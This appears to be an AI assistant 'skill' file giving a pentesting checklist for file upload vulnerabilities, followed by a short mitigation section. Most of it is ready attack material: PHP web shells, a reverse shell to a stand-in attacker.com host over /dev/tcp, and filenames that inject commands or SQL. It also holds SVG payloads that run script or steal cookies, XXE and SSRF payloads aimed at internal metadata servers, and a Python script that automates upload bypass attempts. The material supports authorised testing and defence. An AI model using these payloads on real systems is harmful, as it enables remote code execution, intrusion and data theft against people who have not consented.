File upload vulnerability checklist: MIME type bypass, extension bypass, magic byte manipulation, path traversal in filenames, stored XSS via SVG/HTML upload, server-side processing attacks, and race conditions. Use for assessing file upload endpoints in web app pentests or bug bounty.
Use this skill when the conversation involves any of:
file upload, MIME bypass, extension bypass, magic byte, path traversal upload, SVG XSS, polyglot, upload bypass, malicious upload, web shell upload
When this skill is active:
flowchart TD
A[File Upload Vulnerabilities] --> B[Insufficient File Type Validation]
A --> C[Improper Extension Handling]
A --> D[Inadequate File Content Analysis]
A --> E[Unsafe File Storage]
A --> F[File Operation Mishandling]
A --> G[Directory Traversal]
A --> H[Race Conditions]
B --> I[Remote Code Execution]
C --> I
D --> J[Client-Side Attacks]
E --> I
F --> K[Denial of Service]
G --> L[Arbitrary File Access]
H --> I
File upload vulnerabilities occur when web applications allow users to upload files without implementing proper validation, filtering, and handling mechanisms. These vulnerabilities can lead to various attacks, ranging from simple web defacement to complete server compromise through remote code execution.
The core technical issues behind file upload vulnerabilities include:
File upload vulnerabilities can manifest in various upload functionality patterns:
Map File Upload Functionality:
Identify Upload Processing Patterns:
Testing Prerequisites:
Basic File Upload Testing:
Extension-Based Testing:
.php, .php3, .php4, .php5, .phtml, .phar, .phpt, .pht, .phps, .php2, .php6, .php7, .inc, .shtml, .pgif
.asp, .aspx, .ashx, .asmx, .cer, .asa
.jsp, .jspx, .jsw, .jsv, .jspf
.cfm, .cfml, .cfc, .dbm (Coldfusion)
.pl, .py, .rb, .cgi
file.jpg.php
file.php.jpg
file.php.jpeg
file.php%00.jpg # Null byte (older versions)
file.php%20.jpg # URL encoded space
file.php%0d%0a.jpg # CRLF injection
file.php.blah123jpg # If regex is weak
file.PhP
file.Php5
file.AspX
file.pHp
file.pHP5
file.PhAr
file.php.....
file.php/
file.php.\
file.php. # Trailing dot (Windows specific)
file.php%20 # Trailing space
file.php%09 # Trailing tab
file.php%0a # Trailing newline
file.php%0d # Trailing carriage return
file.php::$DATA # NTFS Alternate Data Stream (Windows specific)
file. # No extension
.html # Just extension
# Try to cut extension with max filename length limit
# Try empty filename: .php
# Send filename parameter twice: filename="allowed.jpg";filename="shell.php"
Content-Type Testing:
Content-Type: image/jpeg # actual file is PHP
Content-Type: image/png # actual file is PHP
Content-Type: image/gif # actual file is PHP
Content-Type: application/x-php # declared as image/jpeg when sent
# Remove Content-Type header entirely
# Send Content-Type twice with allowed/disallowed values
Magic Byte Forging:
# Example: Add GIF header to a PHP shell
GIF89a;<?php system($_GET['cmd']); ?>
Polyglot File Testing:
GIFAR files (GIF + RAR)
Valid Image + PHP code in EXIF metadata
PDF + PHP code
SVG + JavaScript for XSS
Path and Filename Abuse Testing:
filename=../../../../etc/passwd
filename=/etc/passwd
filename=\\attacker-site.com\file.png # UNC Path (Windows specific, may trigger SMB connection)
filename=a$(whoami)z.png # Command Injection
filename=a`whoami`z.png # Command Injection
filename="a';select+sleep(10);--z.png" # SQL Injection
filename=https://internal.service/data # SSRF attempt
Archive Testing (Zip/Tar):
../../tmp/shell.php).ln -s /etc/passwd link.txt).chmod 300) but permissive subdir (chmod 700) containing symlinks.site.com/path?page=zip://path/to/uploaded/file.zip%23shell.php
ImageMagick Testing:
Third-Party Library Testing:
Race Condition Testing:
SSRF via HTTP Range Requests:
Range headers to potentially redirect parts of the download to internal servers.mindmap
root((Bypass Techniques))
Client-Side
Disable JavaScript
Request Interception
Extension Manipulation
MIME-Type Manipulation
Server-Side
Metadata Injection
Image Content Manipulation
Polyglot Techniques
Path Traversal
DenyList Bypass
Magic Byte Forging
Windows Specific Bypasses (. and ADS)
Disabling JavaScript:
Request Interception:
Extension Manipulation Techniques:
# Null byte injection (for PHP < 5.3.4)
shell.php%00.jpg
shell.php\x00.jpg
# Using alternate representations
shell.php.....
shell.php;.jpg
shell.php::$DATA.jpg
# Manipulating request content
1. Upload legitimate image
2. Intercept request
3. Replace file content with shell while keeping filename
Metadata Injection:
exiftool -Comment="<?php system(\$_GET['cmd']); ?>" payload.jpg
Image Content Manipulation:
# PHP code in GIF file
GIF89a;
<?php system($_GET['cmd']); ?>
Advanced Polyglot Techniques:
# Valid JPG and PHP
Create JPG with PHP code after the image data
Add PHP code to EXIF data
Path Traversal in Upload Locations:
filename=../../../tmp/shell.php
filename=..%2f..%2f..%2ftmp%2fshell.php
filename=../../etc/passwd/logo.png # Example LFI attempt
filename=\\attacker-site.com\file.png # UNC Path (Windows specific)
Common DenyList Bypass:
escape "/" with "\/" or "//" with "\/\/"
try single "/" instead of "//"
remove http i.e. "continue=//google.com"
"/\/\" , "|/" , "/%09/"
encode, slashes
"./" CHANGE TO "..//"
"../" CHANGE TO "....//"
"/" CHANGE TO "//"
filename=..%2f..%2f..%2ftmp%2fshell.php
# Check IIS specific extensions if applicable
filename=shell.cer
filename=shell.asa
# Windows specific bypasses
filename=shell.aspx. # Trailing dot
filename=shell.php::$DATA # Alternate Data Stream (ADS)
filename=shell.php:.jpg # ADS confusion
GIF Comment Bypass:
GIF89a/*<svg/onload=alert(1)>*/=alert(document.domain)//;
Magic Byte Forging:
# Example: GIF header + PHP shell
GIF89a;
<?php echo 'Magic Byte Bypass'; phpinfo(); ?>
graph TD
A[File Upload Vulnerabilities] --> B[Implementation-Specific]
A --> C[Impact Scenarios]
B --> D[CMS Upload Vulnerabilities]
B --> E[Framework Upload Vulnerabilities]
B --> F[Language-Specific Vulnerabilities]
C --> G[RCE]
C --> H[XSS]
C --> I[SSRF]
C --> J[DoS]
C --> K[LFI]
CMS Upload Vulnerabilities:
Upload plugin ZIP with malicious PHP files
SVG uploads with XSS in media library
Malicious module installation via admin panel
Malicious template installation
Framework Upload Vulnerabilities:
Laravel file upload middleware bypass
CodeIgniter upload library misconfiguration
Spring MultipartResolver misconfiguration
ASP.NET FileUpload control misconfiguration
Language-Specific Upload Vulnerabilities:
Common file extensions and their potential security impacts:
.php, .php3, .php4, .php5, .phtml, .phar, .phpt
.asp, .aspx, .ashx, .asmx, .asa, .cer, xamlx (ASP.NET).jsp, .jspx, .jsw, .jsv, .jspf (Java Server Pages).cfm, .cfml, .cfc, .dbm (ColdFusion).pl, .py, .rb, .cgi
.htaccess (if Apache allows override, can reconfigure PHP handling or execute commands).config (web.config for IIS/ASP.NET).svg: Stored XSS, SSRF, XXE.gif: Stored XSS (via comments), SSRF.html, .js: HTML injection, XSS, Open redirect, Phishing.wasm: WebAssembly modules for client-side code execution.webp, .avif: Modern image format parser bugs.csv: CSV injection (Formula Injection).xml: XXE.avi, .mov: Potential LFI, SSRF (via external streams/subtitles).pdf, .pptx: SSRF, Blind XXE (via external entities/references).zip: RCE via LFI (using zip:// wrapper), DoS (Zip Bomb), Zip Slip (Path Traversal during extraction).scf (Windows Shortcut): RCE (forces NTLM hash disclosure when browsed via UNC path).png, .jpeg: Pixel flood attack (large dimensions/compressed data)1234...99.png (e.g., > 255 chars)<?php system($_GET['cmd']); ?>
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/attacker.com/443 0>&1'");?>
1. Upload malicious file (e.g., `avatar.jpg` containing PHP code).
2. Trigger inclusion via LFI vulnerability (e.g., `/?page=../../uploads/avatar.jpg`).
1. Upload malicious file inside a zip (e.g., `archive.zip` containing `shell.php`).
2. Trigger inclusion: `/?page=zip://uploads/archive.zip%23shell.php`
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert("XSS via SVG");
</script>
</svg>
GIF89a/*<svg/onload=alert(1)>*/=alert(document.domain)//;
<!-- If .html or .js uploads are allowed and rendered -->
<script>
alert(document.cookie);
</script>
filename="<svg onload=alert(1)>.jpg"
filename="xss.<svg onload=alert(1)>.jpg"
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "http://internal.service/resource"> ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<text font-size="16" x="0" y="16">&xxe;</text>
</svg>
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<svg xmlns:svg="http://www.w3.org/2000/svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="200">
<image height="200" width="200" xlink:href="http://internal-metadata-server/latest/meta-data/" />
</svg>
filename=http://internal...).Range header during URL fetch..xml files..xlsx): .xlsx files are zip archives containing XML files (like sharedStrings.xml) which can be crafted with XXE payloads.<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<svg onload="window.location='https://attacker.com'" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100"/>
</svg>
filename="; sleep 10;.jpg"
filename="`sleep 10`.jpg"
filename="$(sleep 10).jpg"
filename="' OR SLEEP(10)-- -.jpg"
filename="sleep(10)-- -.jpg"
filename="'sleep(10).jpg" # Different quoting/termination
lottapixel.jpg) that consume excessive resources during processing. (Reference).eml files with Content-Type: text/html if processed insecurely.
.mp4, .avi, .mov) with malicious metadata or subtitles to trigger SSRF/RCE in video converters.push graphic-context
viewbox 0 0 640 480
fill 'url(http://attacker.com/)'
pop graphic-context
./gifoeb gen 512x512 dump.gif
# Try different extensions:
./gifoeb gen 1123x987 dump.jpg
./gifoeb gen 1123x987 dump.png
# Recover pixels after upload and download:
# for p in previews/*; do ./gifoeb recover $p | strings; done
/?file=xx.php <- Blocked
/?file===xx.php <- Bypassed
exiftool -Comment='<?php echo "<pre>"; system($_GET['cmd']); ?>' shell.jpg
mv shell.jpg shell.php.jpg
Content-Type/magic bytes.import requests
from requests_toolbelt.multipart.encoder import MultipartEncoder
def test_file_upload(target_url, file_path, file_name, content_type):
"""
Test file upload with custom parameters
"""
multipart_data = MultipartEncoder(
fields={
'file': (file_name, open(file_path, 'rb'), content_type)
}
)
headers = {
'Content-Type': multipart_data.content_type
}
response = requests.post(target_url, data=multipart_data, headers=headers)
# Return response for analysis
return {
'status_code': response.status_code,
'response_text': response.text,
'response_headers': dict(response.headers)
}
# Example usage:
target = 'https://target.com/upload.php'
test_cases = [
# Basic tests
{'path': 'shell.php', 'name': 'legitimate.jpg', 'type': 'image/jpeg'},
{'path': 'shell.php', 'name': 'shell.php.jpg', 'type': 'image/jpeg'},
{'path': 'shell.php', 'name': 'shell.php%00.jpg', 'type': 'image/jpeg'},
{'path': 'shell.php', 'name': 'shell.php%20.jpg', 'type': 'image/jpeg'},
{'path': 'shell.php', 'name': 'shell.php%0d%0a.jpg', 'type': 'image/jpeg'},
{'path': 'shell.php', 'name': 'shell.php.blah123jpg', 'type': 'image/jpeg'},
# Content-type tests
{'path': 'legitimate.jpg', 'name': 'legitimate.jpg', 'type': 'image/jpeg'},
{'path': 'shell.php', 'name': 'shell.php', 'type': 'image/jpeg'},
{'path': 'shell.php', 'name': 'shell.php', 'type': 'image/gif'},
# Extension tests
{'path': 'shell.php', 'name': 'shell.phtml', 'type': 'application/x-php'},
{'path': 'shell.php', 'name': 'shell.PhP', 'type': 'application/x-php'},
{'path': 'shell.php', 'name': 'shell.php.', 'type': 'application/octet-stream'},
{'path': 'shell.php', 'name': 'shell.php%20', 'type': 'application/octet-stream'},
]
for test in test_cases:
result = test_file_upload(target, test['path'], test['name'], test['type'])
print(f"Testing {test['name']} ({test['type']}): {result['status_code']}")
Discovery Phase:
Initial Testing Phase:
Advanced Testing Phase:
Exploitation Phase:
Post-Exploitation Testing:
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.cookie)"/>
Implement Proper Validation:
Apply Multiple Security Layers:
Store Files Securely:
Process Uploaded Files:
Implement File Upload Best Practices:
Context-Specific Controls:
HTTP Headers:
Content-Disposition: attachment; filename="user_safe_filename.ext" to force download prompt.X-Content-Type-Options: nosniff to prevent browsers from MIME-sniffing the content type away from the declared one.bucket-owner-enforced ACL or Object Lock to prevent post-scan overwrites.x-amz-server-side-encryption) on presigned PUTs.GetObject and DeleteObject unless required.../ or control characters.conditions enforce content-type, size, and key prefix; reject uploads whose actual Content-Type differs at processing time.Content-MD5 values; beware S3 multipart ETag semantics for multi-part uploads.%2f, unicode homoglyphs, or hidden dot segments that may bypass prefix-only allowlists.?url= sources: treat as SSRF; block private IPs, localhost, and metadata endpoints; enforce DNS rebinding protections.